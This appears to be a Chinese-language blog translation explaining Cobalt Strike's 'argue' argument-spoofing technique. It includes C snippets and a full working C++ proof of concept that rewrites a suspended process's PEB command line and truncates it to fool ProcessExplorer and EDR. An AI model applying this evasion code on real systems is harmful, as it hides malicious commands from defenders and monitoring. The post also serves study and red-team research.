CobaltStrike Argue 原理 - 翻译文

CobaltStrike Argue 原理 - 翻译文 · 图示

看 youtube 视频介绍，此攻击原本是为了对抗 EDR 检测或延迟 AV 查杀的手段

原理很简单，通过设置CREATE_SUSPENDED挂起进程启动，再通过PEB修改ProcessParameters中实际将要执行的命令字符串，最后ResumeThread恢复进程 → 暗度陈仓

在实现时，延伸出来两个小问题(技巧)

如何获取 PEB 并更新
绕过 PEB 副本检测

CreateProcess

BOOL CreateProcessA(
  LPCSTR                lpApplicationName,
  LPSTR                 lpCommandLine,
  LPSECURITY_ATTRIBUTES lpProcessAttributes,
  LPSECURITY_ATTRIBUTES lpThreadAttributes,
  BOOL                  bInheritHandles,
  DWORD                 dwCreationFlags,
  LPVOID                lpEnvironment,
  LPCSTR                lpCurrentDirectory,
  LPSTARTUPINFOA        lpStartupInfo,
  LPPROCESS_INFORMATION lpProcessInformation
);

在CreateProcessA函数中我们关注到lpCommandLine和dwCreationFlags

lpCommandLine：要执行的命令行 -> 明面上要执行的命令行
dwCreationFlags：流程创建标志

在流程创建标志中多个标记使用|(或)运算叠加，有以下几个常数值需要关注

常数/值	描述
CREATE_NEW_CONSOLE 0x00000010	新进程具有一个新的控制台，而不是继承其父级的控制台（默认）。有关更多信息，请参见创建控制台。该标志不能与DETACHED_PROCESS一起使用。
CREATE_NO_WINDOW 0x08000000	该过程是一个没有控制台窗口即可运行的控制台应用程序。因此，未设置应用程序的控制台句柄。如果该应用程序不是控制台应用程序，或者与CREATE_NEW_CONSOLE或DETACHED_PROCESS一起使用，则将忽略此标志。
CREATE_SUSPENDED 0x00000004	新进程的主线程在挂起状态下创建，并且直到调用ResumeThread函数才运行。

以下试图创建一个进程并挂起，我们接下来将修改此进程

STARTUPINFOA si;
PROCESS_INFORMATION pi;

CreateProcessA(
    NULL,
    "cmd.exe",
    NULL,
    NULL,
    FALSE,
    CREATE_SUSPENDED | CREATE_NEW_CONSOLE,
    NULL,
    "C:\\Windows\\System32\\",
    &si,
    &pi);

PEB

首先看在 PEB 结构，我们主要关注 ProcessParameters

typedef struct _PEB {
  BYTE                          Reserved1[2];
  BYTE                          BeingDebugged;
  BYTE                          Reserved2[1];
  PVOID                         Reserved3[2];
  PPEB_LDR_DATA                 Ldr;
  PRTL_USER_PROCESS_PARAMETERS  ProcessParameters;
  PVOID                         Reserved4[3];
  PVOID                         AtlThunkSListPtr;
  PVOID                         Reserved5;
  ULONG                         Reserved6;
  PVOID                         Reserved7;
  ULONG                         Reserved8;
  ULONG                         AtlThunkSListPtr32;
  PVOID                         Reserved9[45];
  BYTE                          Reserved10[96];
  PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
  BYTE                          Reserved11[128];
  PVOID                         Reserved12[1];
  ULONG                         SessionId;
} PEB, *PPEB;

PRTL_USER_PROCESS_PARAMETERS 结构体

typedef struct _RTL_USER_PROCESS_PARAMETERS {
  BYTE           Reserved1[16];
  PVOID          Reserved2[10];
  UNICODE_STRING ImagePathName;
  UNICODE_STRING CommandLine;
} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS;

UNICODE_STRING 类型结构体

typedef struct _UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
  PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

在上面通过创建并挂起进程后，接下来我们将通过NtQueryInformationProcess来获取 PEB 地址，这个函数未公开所以需要GetProcAddress从 DLL 中检索出函数地址

typedef NTSTATUS (*NtQueryInformationProcess)(
  IN HANDLE,
  IN PROCESSINFOCLASS,
  OUT PVOID,
  IN ULONG,
  OUT PULONG
);

NtQueryInformationProcess ntip = (NtQueryInformationProcess)GetProcAddress(LoadLibrary("ntdll.dll"), "NtQueryInformationProcess");

PROCESS_BASIC_INFORMATION pbi;
DWORD retLen;

ntpi(
    pi.hProcess,
    ProcessBasicInformation,
    &pbi,
    sizeof(pbi),
    &retLen
);

通过 PEB 标记的地址，使用ReadProcessMemory读取目标进程的 PEB 信息

PEB pebLocal;
BOOL success;

success = ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &pebLocal, sizeof(PEB), &bytesRead);

进一步获取ProcessParameters结构体信息

void* readProcessMemory(HANDLE process, void* address, DWORD bytes) {
    SIZE_T bytesRead;
    char* alloc;

    alloc = (char*)malloc(bytes);
    if (alloc == NULL) {
        return NULL;
    }

    if (ReadProcessMemory(process, address, alloc, bytes, &bytesRead) == 0) {
        free(alloc);
        return NULL;
    }

    return alloc;
}

RTL_USER_PROCESS_PARAMETERS* parameters;

parameters = (RTL_USER_PROCESS_PARAMETERS*)readProcessMemory(
    pi.hProcess,
    pebLocal.ProcessParameters,
    sizeof(RTL_USER_PROCESS_PARAMETERS)
);

接下来便是修改ProcessParameters中的CommandLine，其对应类型为UNICODE_STRING

BOOL writeProcessMemory(HANDLE process, void* address, void* data, DWORD bytes) {
    SIZE_T bytesWritten;

    if (WriteProcessMemory(process, address, data, bytes, &bytesWritten) == 0) {
        return false;
    }

    return true;
}

success = writeProcessMemory(
    pi.hProcess,
    parameters->CommandLine.Buffer,
    (void*)L"cmd.exe /k dir\0",
    30);

绕过PEB副本检测

作者提到类似ProcessExplorer工具会检索PEB副本，导致隐藏参数失败，注意到_RTL_USER_PROCESS_PARAMETERS中的CommandLine参数为_UNICODE_STRING类型

typedef struct _UNICODE_STRING {
  USHORT Length;
  USHORT MaximumLength;
  PWSTR  Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

当设置Length < sizeof(Buffer)时，对于ProcessHacker和ProcessExplorer，都会终止显示Length字节后面的字符串，但同时并不影响进程的运行

ProcessExplorer	ProcessMonitor
长度限制	命令隐藏

Poc

#include <iostream>
#include <windows.h>
#include <winternl.h>

#define CMD_TO_SHOW "powershell.exe -NoExit -c Write-Host 'This is just a friendly argument, nothing to see here'"
#define CMD_TO_EXEC L"powershell.exe -NoExit -c Write-Host Surprise, arguments spoofed\0"

typedef NTSTATUS(*NtQueryInformationProcess2)(
    IN HANDLE,
    IN PROCESSINFOCLASS,
    OUT PVOID,
    IN ULONG,
    OUT PULONG
    );

void* readProcessMemory(HANDLE process, void* address, DWORD bytes) {
    SIZE_T bytesRead;
    char* alloc;

    alloc = (char*)malloc(bytes);
    if (alloc == NULL) {
        return NULL;
    }

    if (ReadProcessMemory(process, address, alloc, bytes, &bytesRead) == 0) {
        free(alloc);
        return NULL;
    }

    return alloc;
}

BOOL writeProcessMemory(HANDLE process, void* address, void* data, DWORD bytes) {
    SIZE_T bytesWritten;

    if (WriteProcessMemory(process, address, data, bytes, &bytesWritten) == 0) {
        return false;
    }

    return true;
}

int main(int argc, char** canttrustthis)
{
    STARTUPINFOA si;
    PROCESS_INFORMATION pi;
    CONTEXT context;
    BOOL success;
    PROCESS_BASIC_INFORMATION pbi;
    DWORD retLen;
    SIZE_T bytesRead;
    PEB pebLocal;
    RTL_USER_PROCESS_PARAMETERS* parameters;

    printf("Argument Spoofing Example by @_xpn_\n\n");

    memset(&si, 0, sizeof(si));
    memset(&pi, 0, sizeof(pi));

    // Start process suspended
    success = CreateProcessA(
        NULL,
        (LPSTR)CMD_TO_SHOW,
        NULL,
        NULL,
        FALSE,
        CREATE_SUSPENDED | CREATE_NEW_CONSOLE,
        NULL,
        "C:\\Windows\\System32\\",
        &si,
        &pi);

    if (success == FALSE) {
        printf("[!] Error: Could not call CreateProcess\n");
        return 1;
    }

    // Retrieve information on PEB location in process
    NtQueryInformationProcess2 ntpi = (NtQueryInformationProcess2)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryInformationProcess");
    ntpi(
        pi.hProcess,
        ProcessBasicInformation,
        &pbi,
        sizeof(pbi),
        &retLen
    );

    // Read the PEB from the target process
    success = ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &pebLocal, sizeof(PEB), &bytesRead);
    if (success == FALSE) {
        printf("[!] Error: Could not call ReadProcessMemory to grab PEB\n");
        return 1;
    }

    // Grab the ProcessParameters from PEB
    parameters = (RTL_USER_PROCESS_PARAMETERS*)readProcessMemory(
        pi.hProcess,
        pebLocal.ProcessParameters,
        sizeof(RTL_USER_PROCESS_PARAMETERS) + 300
    );

    // Set the actual arguments we are looking to use
    WCHAR spoofed[] = CMD_TO_EXEC;
    success = writeProcessMemory(pi.hProcess, parameters->CommandLine.Buffer, (void*)spoofed, sizeof(spoofed));
    if (success == FALSE) {
        printf("[!] Error: Could not call WriteProcessMemory to update commandline args\n");
        return 1;
    }

    /////// Below we can see an example of truncated output in ProcessHacker and ProcessExplorer /////////

    // Update the CommandLine length (Remember, UNICODE length here)
    DWORD newUnicodeLen = 28;

    success = writeProcessMemory(
        pi.hProcess,
        (char*)pebLocal.ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS, CommandLine.Length),
        (void*)&newUnicodeLen,
        4
    );
    if (success == FALSE) {
        printf("[!] Error: Could not call WriteProcessMemory to update commandline arg length\n");
        return 1;
    }

    // Resume thread execution*/
    ResumeThread(pi.hThread);
}

思考

同这篇文章一起的还有父进程ID欺骗，这两个手段结合一起生成一个易用 exe 应该是很有效的红队手段，比如随机生成伪装命令、自动伪装，这样在来不及清理历史记录的情况下也能延缓蓝队的步伐…

但是奈何不会 c++，先留个坑

CreateProcess

PEB

绕过PEB副本检测

Poc

思考

参考资料